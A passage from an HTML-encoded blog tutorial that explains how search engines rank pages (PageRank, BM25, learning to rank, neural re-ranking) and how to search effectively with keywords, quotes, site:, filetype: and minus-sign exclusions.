&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: perform &lt;strong&gt;deeper semantic understanding&lt;/strong&gt; and &lt;strong&gt;fine-grained ranking optimisation&lt;/strong&gt; on the shortlisted results. This stage prioritises &lt;strong&gt;ranking precision&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Methods&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LTR models&lt;/strong&gt;: use machine learning methods to rank across a large number of features (keyword match, link quality, user behaviour, page content quality, etc.).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transformer representations (Embedding Models)&lt;/strong&gt;: use large pre-trained language models such as BERT and RoBERTa to encode the query and documents into semantic vectors, then match them finely by vector similarity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reranker models&lt;/strong&gt;: deep learning models designed specifically for &lt;strong&gt;interactive matching&lt;/strong&gt; between a query and candidate document pairs, deeply assessing their semantic relevance.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The typical ranking pipeline of a modern search engine:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[用户查询] --&amp;gt; B(倒排索引召回);
    B --&amp;gt; C(初排);
    C --&amp;gt; D(语义重排);
    D --&amp;gt; E(返回给用户);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;3.3 A Citation-based Weight Model: &lt;code&gt;PageRank&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;PageRank is &lt;strong&gt;one of Google&apos;s early core algorithms&lt;/strong&gt;; it is used to assess the &lt;strong&gt;importance and authority&lt;/strong&gt; of a web page. Its yardstick is not the page&apos;s &lt;strong&gt;content quality&lt;/strong&gt; itself, but:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Who cites this page, and how much it is cited&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is to say:
&lt;strong&gt;The more it is cited by high-quality pages → the more important it is&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;The PageRank Formula&lt;/h3&gt;
&lt;p&gt;The core idea of PageRank is to treat links on the internet as a kind of &quot;vote&quot;. The higher a page&apos;s PageRank value ($PR(p_i)$), the more important or authoritative it is generally considered to be.&lt;/p&gt;
&lt;p&gt;$$
PR(p_i) = \frac{1 - d}{N} + d \cdot \sum_{p_j \in M(p_i)} \frac{PR(p_j)}{L(p_j)}
$$&lt;/p&gt;
&lt;p&gt;Explanation:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symbol&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;How to read it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;$PR(p_i)$&lt;/td&gt;
&lt;td&gt;The PageRank value of page $p_i$&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;How important the page is on the Internet&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$M(p_i)$&lt;/td&gt;
&lt;td&gt;The set of all pages pointing to $p_i$&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Who cites it&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$L(p_j)$&lt;/td&gt;
&lt;td&gt;The number of outbound links on page $p_j$&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;The citer&apos;s contribution is split evenly&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$d$&lt;/td&gt;
&lt;td&gt;Damping factor (about 0.85)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Models the probability that the user keeps browsing&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\frac{1 - d}{N}$&lt;/td&gt;
&lt;td&gt;Random-visit compensation&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Prevents bias from dead links and closed-loop structures&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A page&apos;s importance depends in part on the importance of the pages citing it.&lt;/strong&gt; The more important the citer, the greater the contribution; the more citations, the more the contribution is spread out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PageRank measures the &lt;code&gt;quality of the citation source&lt;/code&gt;, not the &lt;code&gt;number of citations&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;PageRank&apos;s role in modern search engines&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;PageRank&apos;s status as the core of Google&apos;s early ranking is long gone. Google stopped publicly updating the PageRank toolbar in 2016, and the direct weight of the original algorithm in today&apos;s search engines is negligible.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The ranking algorithms of modern search engines are extremely complex, usually containing hundreds or even thousands of signals — far beyond a single PageRank model. However, the basic idea PageRank introduced, &quot;links as votes&quot; — its &lt;strong&gt;thinking and principles&lt;/strong&gt; — is still folded into more complex and advanced link-analysis algorithms.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;The PageRank-dominant era&lt;/th&gt;
&lt;th&gt;Now&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;The main ranking basis&lt;/td&gt;
&lt;td&gt;Merely one of many ranking signals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Links were highly trustworthy&lt;/td&gt;
&lt;td&gt;Links are easily manipulated for SEO and must be judged alongside other factors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Little information, a relatively simple web structure&lt;/td&gt;
&lt;td&gt;A complex web, where semantic understanding and user intent matter more&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Today&apos;s search ranking relies more on the following factors, &lt;em&gt;among others&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Semantic matching&lt;/strong&gt;: for example, using &lt;strong&gt;large models&lt;/strong&gt; such as &lt;code&gt;Embedding / Transformer&lt;/code&gt; to deeply understand the user&apos;s query and the meaning of the content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User behaviour feedback&lt;/strong&gt;: such as &lt;code&gt;CTR/Dwell Time&lt;/code&gt;; these metrics directly reflect user satisfaction with search results.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content quality assessment&lt;/strong&gt;: a comprehensive evaluation of content depth, authority, originality and expertise.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site authority&lt;/strong&gt;: assessing a website&apos;s overall credibility through more complex link analysis, brand mentions, expert recommendations and the like.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Summary: the core logic of PageRank has evolved into an &lt;code&gt;auxiliary factor&lt;/code&gt; within modern complex link analysis; its original form is no longer dominant.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PageRank profoundly influenced the development of search engines, but as a single ranking model it has become history. Still, its basic idea — &quot;high-quality citations equal high value&quot; — remains one of the foundations of link analysis in modern search engines.
&lt;strong&gt;Citation quality &amp;gt; citation quantity&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;3.4 BM25 Text Relevance Scoring&lt;/h3&gt;
&lt;p&gt;BM25 is a &lt;strong&gt;keyword-matching scoring algorithm&lt;/strong&gt; widely used in information retrieval, used to assess the relevance between a document and a query. It is the cornerstone of the first-stage ranking in many search engines.&lt;/p&gt;
&lt;p&gt;Formula:&lt;/p&gt;
&lt;p&gt;$$
\mathrm{BM25}(q, D)
= \sum_{t \in q}
\mathrm{IDF}(t)\cdot
\frac{f(t, D),(k_1 + 1)}
{f(t, D) + k_1\left(1 - b + b\cdot\frac{|D|}{\mathrm{avgDL}}\right)}
$$&lt;/p&gt;
&lt;p&gt;BM25 mainly solves several practical problems in text matching:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;What BM25 does&lt;/th&gt;
&lt;th&gt;Intuitive effect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Repeated words inflating weight&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Term-frequency saturation curve&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A word repeated 100 times in a document ≈ repeated 5 times, preventing excessive keyword stuffing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Long documents shouldn&apos;t get too much weight&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Length normalization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Long articles aren&apos;t naturally &quot;more relevant&quot; than short ones, removing the long-document advantage.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rare words should be emphasised&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;IDF weighting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&quot;Proper nouns&quot; or &quot;rare words&quot; get higher weight than &quot;ordinary words&quot;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;It usually sits in the search engine&apos;s &lt;strong&gt;first-stage ranking&lt;/strong&gt;, giving preliminary scores to documents recalled through the inverted index, thereby shortlisting a top 100~1000+ candidates for the next stage.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;3.5 Learning to Rank &lt;code&gt;LTR&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;As the quality gap between pages widened, user behaviour data accumulated and feature engineering matured, search engines needed a &lt;strong&gt;learnable ranking model&lt;/strong&gt; to judge document relevance comprehensively. That is LTR.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Typical LTR models&lt;/strong&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Core idea&lt;/th&gt;
&lt;th&gt;Training approach&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RankNet&lt;/td&gt;
&lt;td&gt;Based on &lt;strong&gt;pairwise comparison&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&quot;Document A should rank ahead of document B&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LambdaRank / LambdaMART&lt;/td&gt;
&lt;td&gt;Directly optimises &lt;strong&gt;ranking metrics&lt;/strong&gt; (e.g. NDCG)&lt;/td&gt;
&lt;td&gt;The &lt;strong&gt;general choice of modern mainstream search engines&lt;/strong&gt;; excellent results&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ListNet / ListMLE&lt;/td&gt;
&lt;td&gt;Directly optimises &lt;strong&gt;the ordering of the whole list&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;More theoretical, but training is usually more complex and difficult&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Why use LTR?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Goes beyond traditional algorithms&lt;/strong&gt;: algorithms like BM25 only look at textual features and cannot see information such as complex &lt;strong&gt;user behaviour&lt;/strong&gt; and &lt;strong&gt;page quality&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Combines multi-dimensional features&lt;/strong&gt;: LTR models can make comprehensive use of a huge number of features, including:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CTR&lt;/strong&gt;: whether the user clicked this result.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dwell Time&lt;/strong&gt;: how long the user stayed on the page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bounce Rate&lt;/strong&gt;: whether the user quickly returned to the search results page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Historical search intent models&lt;/strong&gt;: the user&apos;s past search preferences and behaviour patterns.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;If a user always clicks the 3rd result in the list and stays there for a long time, the ranking model will &quot;learn&quot; that this result may be higher quality and gradually move it to 1st place.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Search engine ranking is long past &lt;strong&gt;simply ranking &quot;web pages written for machines&quot;&lt;/strong&gt;;
it now truly ranks by &lt;strong&gt;&quot;users voting with their feet&quot;&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;3.6 Neural Re-ranking&lt;/h3&gt;
&lt;p&gt;Modern search — especially when handling complex queries and understanding deep user intent — has &lt;strong&gt;entered the stage of pure language understanding&lt;/strong&gt;. Semantic re-ranking uses deep learning models to measure semantic relevance between query and document more precisely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Models used&lt;/strong&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Example models&lt;/th&gt;
&lt;th&gt;Characteristics&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sentence-embedding models&lt;/td&gt;
&lt;td&gt;SBERT / E5 / bge&lt;/td&gt;
&lt;td&gt;Produce dense vector representations of text, mainly used for &lt;strong&gt;coarse semantic recall&lt;/strong&gt; or filtering.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fine-ranking models&lt;/td&gt;
&lt;td&gt;Cross-Encoder / ColBERT / RAG Reranker&lt;/td&gt;
&lt;td&gt;Perform &lt;strong&gt;deep semantic comparison&lt;/strong&gt; on a small set of candidates, computing fine-grained relevance.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Typical pipeline&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[用户查询] --&amp;gt; B(倒排召回 / BM25);
    B --&amp;gt; C(粗语义召回 / Embedding);
    C --&amp;gt; D(精语义重排 / Cross-Encoder);
    D --&amp;gt; E(返回给用户);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why not just let a large model rank every web page directly?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Because the computational cost differs exponentially — it is impossible to process all the data directly with the most complex model:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model stage&lt;/th&gt;
&lt;th&gt;Cost per ranking&lt;/th&gt;
&lt;th&gt;Scale and feasibility&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BM25&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&amp;lt; 10 ms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Can quickly rank &lt;strong&gt;millions to hundreds of millions of web pages&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vector retrieval&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1 ~ 100 ms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Can semantically filter &lt;strong&gt;thousands to tens of thousands of candidates&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Large-model fine ranking&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100 ~ 1000+ ms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Can only deeply process a few dozen&lt;/strong&gt; shortlisted results&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Ranking level&lt;/th&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Scale&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Recall&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BM25 / TF-IDF&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Quickly find possibly relevant documents&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$10^6 \sim 10^8$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Semantic filtering&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Vector retrieval&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Find documents that are truly semantically relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$10^3 \sim 10^4$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Re-rank&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cross-Encoder / LTR&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Find the documents that best meet the user&apos;s needs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$10 \sim 10^2$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Using Search Engines Correctly&lt;/h2&gt;
&lt;h3&gt;4.1 Keywords&lt;/h3&gt;
&lt;p&gt;The essence of information retrieval is &lt;strong&gt;extracting the core concepts&lt;/strong&gt;. Avoid colloquial full sentences.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bad example&lt;/strong&gt;:
&lt;code&gt;为什么我电脑上网速度很慢应该怎么办&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Good examples&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Breakdown: &lt;code&gt;wifi slow fix driver&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Advanced: &lt;code&gt;wifi latency diagnose &quot;network adapter&quot; windows&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Core rule&lt;/strong&gt;: start from &lt;strong&gt;Chinese semantics&lt;/strong&gt; → extract &lt;strong&gt;key nouns&lt;/strong&gt; → prefer &lt;strong&gt;English technical terms&lt;/strong&gt; (if the problem is in a technical field).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4.2 Forcing Exact Matches&lt;/h3&gt;
&lt;p&gt;Use &lt;strong&gt;double quotes &lt;code&gt;&quot;&lt;/code&gt;&lt;/strong&gt; to force the search engine to match a word or phrase exactly, without splitting or rewriting it. This &lt;strong&gt;significantly reduces irrelevant results&lt;/strong&gt; and improves precision.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;舞萌 DX&quot;&lt;/code&gt; 评分&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;start dash&quot; maimai&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;openwrt&quot; &quot;ipv6 relay&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;4.3 Filtering by Index Scope&lt;/h3&gt;
&lt;p&gt;Use the &lt;code&gt;site:&lt;/code&gt; operator to &lt;strong&gt;limit the search to a specific website&lt;/strong&gt;, going straight to professional sources.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;site:xice.cx openwrt&lt;/code&gt; (find OpenWrt-related content on my blog)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;site:zhihu.com maimai 难度&lt;/code&gt; (search Zhihu for discussions of maimai difficulty)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;site:wiki.archlinux.org f2fs&lt;/code&gt; (F2FS material in the Arch Linux Wiki)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;site:github.com magisk&lt;/code&gt; (find Magisk-related projects on GitHub)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Master &lt;code&gt;site:&lt;/code&gt;, and you can hit the most valuable, authoritative technical answers &lt;strong&gt;almost 100% of the time&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4.4 Filtering Out Useless Results&lt;/h3&gt;
&lt;p&gt;Adding a &lt;strong&gt;minus sign &lt;code&gt;-&lt;/code&gt;&lt;/strong&gt; after the keywords excludes results containing specific words, effectively &lt;strong&gt;filtering out noise&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openwrt ipv6 优先级 -贴吧 -抖音 -小红书&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;maimai dx 曲目 推荐 -bilibili&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;When Chinese search results are flooded with low-quality or marketing content, &quot;subtraction&quot; operators are often more important and more effective than &quot;addition&quot;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4.5 Filtering by File Type&lt;/h3&gt;
&lt;p&gt;Use the &lt;code&gt;filetype:&lt;/code&gt; operator to search directly for a specific file type, such as PPT, PDF or Word documents.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;maimai 音频 filetype:ogg&lt;/code&gt; (find maimai audio in OGG format)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;互联网 基础设施 filetype:pdf&lt;/code&gt; (find PDF documents about internet infrastructure)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openwrt 网络 拓扑 filetype:docx&lt;/code&gt; (search for documents about OpenWrt networking)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;With &lt;code&gt;filetype:&lt;/code&gt;, in the vast majority of cases you can go straight to &lt;strong&gt;high-quality academic material&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4.6 Filtering by Time&lt;/h3&gt;
&lt;p&gt;When information is time-sensitive (software versions, AI models, news events, for example), restricting the time range of search results is crucial.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openwrt wireguard 教程 2024&lt;/code&gt; (restrict the search to 2024 WireGuard tutorials)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;archlinux hyprland install 2025&lt;/code&gt; (find 2025 Arch Linux Hyprland installation guides)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Or simply choose &quot;Any time&quot; → &quot;Past year / Past month&quot; in &quot;Tools&quot; on the Google search results page.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;4.7 Reverse Lookup&lt;/h3&gt;
&lt;p&gt;&quot;Reverse search&quot; can help you find the source of an image, the origin of a sentence, or similar content.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Search by image&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Google Lens&lt;/strong&gt;: comprehensive, good for identifying all kinds of images.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yandex Images&lt;/strong&gt;: &lt;strong&gt;especially strong&lt;/strong&gt; at recognising anime and ACG images.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search for the source of a phrase (an interesting sentence/meme)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Wrap the sentence exactly in double quotes: &lt;code&gt;&quot;原文句子&quot; -微博 -抖音 -小红书&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;4.8 Turn Abstract Problems into Pattern Matching&lt;/h3&gt;
&lt;p&gt;Don&apos;t search directly for the &lt;strong&gt;specific &quot;problem&quot; you&apos;ve encountered&lt;/strong&gt;; search for the &lt;strong&gt;&quot;structure&quot; or &quot;solution pattern&quot;&lt;/strong&gt; of that problem. This takes you straight from the symptom to a scientific diagnostic method.&lt;/p&gt;
&lt;p&gt;For example, if you want to find a way to fix &quot;unstable latency&quot;, don&apos;t search:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;网速慢怎么办&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Instead, convert it into technical concepts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;icmp latency waveform&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Search is not &quot;passively looking for an answer&quot; but &quot;actively locating information&quot;. As long as you express the problem in a structured and precise enough way, the answer you seek always exists.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Common Misconceptions&lt;/h2&gt;
&lt;h3&gt;5.1 Using &quot;Pouring Your Heart Out in Natural Language&quot; Instead of Retrieval&lt;/h3&gt;
&lt;p&gt;A search engine is not Chat GPT. It is better at handling structured keywords than long, rambling &quot;confessions&quot;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bad example&lt;/strong&gt;
&lt;code&gt;为什么我的 WiFi 总是特别卡而且有时候会掉线应该怎么办啊有没有办法解决&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;To a search engine, this kind of input is just noise; it is very hard to extract the core keywords accurately from it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Good examples&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wifi disconnect random fix&lt;/code&gt; / &lt;code&gt;network unstable diagnose&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WiFi 掉线 诊断&lt;/code&gt; / &lt;code&gt;家宽 网络抖动 测试&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Don&apos;t pour your heart out to the search engine — state the &quot;core words of the problem&quot; directly&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;5.2 Only Looking at Page One and Never Changing Keywords&lt;/h3&gt;
&lt;p&gt;Most beginners, after a failed search, just complain:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Baidu/Google can&apos;t find anything useful at all&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A failed search is often &lt;strong&gt;not the search engine&apos;s fault&lt;/strong&gt; but a &lt;strong&gt;badly structured keyword&lt;/strong&gt;. In that case, &lt;strong&gt;you should rewrite the keywords&lt;/strong&gt;, not blindly page through results.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;EXAMPLE&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;First input&lt;/th&gt;
&lt;th&gt;Rewrite&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;提高maimai分数 &lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;maimai 推分&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wifi 卡&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bufferbloat test&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;游戏 延迟&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;udp relay latency diagnose&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;5.3 Not Knowing How to Filter Out Invalid Information&lt;/h3&gt;
&lt;p&gt;In the Chinese internet environment, where junk and low-quality content runs rampant, the &lt;strong&gt;minus-sign syntax &lt;code&gt;-&lt;/code&gt;&lt;/strong&gt; is especially important.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openwrt ipv6 配置教程&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openwrt ipv6 教程 -知乎 -抖音 -小红书 -CSDN&lt;/code&gt; (directly stripping out content that is information-poor, repetitive or heavily marketing-driven)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
